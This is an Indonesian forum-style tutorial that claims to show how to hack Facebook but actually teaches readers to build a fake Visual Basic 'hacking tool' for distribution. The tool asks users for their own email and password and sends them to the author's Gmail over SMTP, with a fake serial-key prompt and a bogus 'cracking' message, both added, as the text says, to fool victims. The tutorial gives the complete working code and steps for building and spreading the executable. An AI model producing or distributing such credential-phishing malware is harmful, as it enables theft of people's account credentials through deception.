Oke hari ini ane mau sharing tentang cara bobol facebook dengan menggunakan aplikasi buatan kalian sendiri
peralatan yang dibutuhkan
1. Visual basic
2. Kreatifitas
berikut screenshoot tool saya
pertama -tama buka visual basic dan buat project baru
buat 3 label
1. email address
2.password
3.victims mail/victim id
kedua
buat 3 textbox
dan rubah text pada tiap-tiap textbox propertiesnya
ketiga
buat 2 command button
pada properties nya rubah text 1. Start 2. Exit
keempat
kasih checkbutton biar pengguna tool kalian percaya bahwa tool kalian ini Berfungsi
setelah itu klik 2x pada form
INGAT sebelum public class form1 masukkan type
Code:
Imports System.Net.Mail
Imports Microsoft.Win32
dan masukkan kode
Code:
MsgBox("Input Your serial number")
Dim LK As String = "[color=#800000]0987654321[/color]"
Dim L As RegistryKey = Registry.CurrentUser.CreateSubKey("software\vaqxine", RegistryKeyPermissionCheck.Default)
If L.GetValue("licence") Is Nothing Then
Dim input As String = InputBox("Enter Your Registration Key", "Please Register Your Program!")
If input <> LK Then
MsgBox("Please Enter A Valid Registration Key!", MsgBoxStyle.Exclamation, "Invalid Registration Key")
End
Else
L.SetValue("licence", LK)
MsgBox("Click Ok to continue", MsgBoxStyle.Information, "Registration Key accepted")
End If
ElseIf L.GetValue("licence") <> LK Then
Dim input As String = InputBox("Enter your registration key", "Your current registration key is not valid")
If input <> LK Then
MsgBox("Please Enter A Valid License Key!", MsgBoxStyle.Exclamation, "Invalid Registration Key")
End
Else
L.SetValue("licence", LK)
MsgBox("Click Ok to continue", MsgBoxStyle.Information, "Registration key accepted")
End If
End If
L.Close()
fungsi code ini buat manipulasi korban dengan memasukkan serial number pada bagian Dim LK As Stringagar tool kalian lebih resmi :P
setelah itu kembali lagi ke form dan klik 2x start dan masukkan codingnya
Code:
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAddress("[color=#FF0000]email gmail kalian[/color]")
MyMailMessage.To.Add("[color=#FF0000]email gmail kalian[/color]")
MyMailMessage.Body = ("Username: " + TextBox1.Text & vbCrLf & "Password: " + TextBox2.Text & vbCrLf & vbCrLf & "Attempting To Hack: " + TextBox3.Text)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("[color=#FF0000]email gmail kalian[/color]", "[color=#FF0000]password gmail kalian[/color]")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("Wait for 2-3 hours to cracking the password Visit my blog www.trojanzboy.blogspot.com")
setelah itu test program dengan mengklik tombol start debugging (F5)
jika sukses test masukkan email dan password pada text box
maka email&&password terkirim di email kalian cek email kalian
dan saatnya mempublikasikan tool anda
klik build toolbar --> build solution &&& --> build windowsaplication
dan hasil outputnya ada di my document > visual studio > project
dan tool pun siap untuk diedarkan
NB : jika gmailnya kalian terdapat authentication mobile maka tool nya tidak dapat bekerja :mantap
SCARLET DEVELOPER G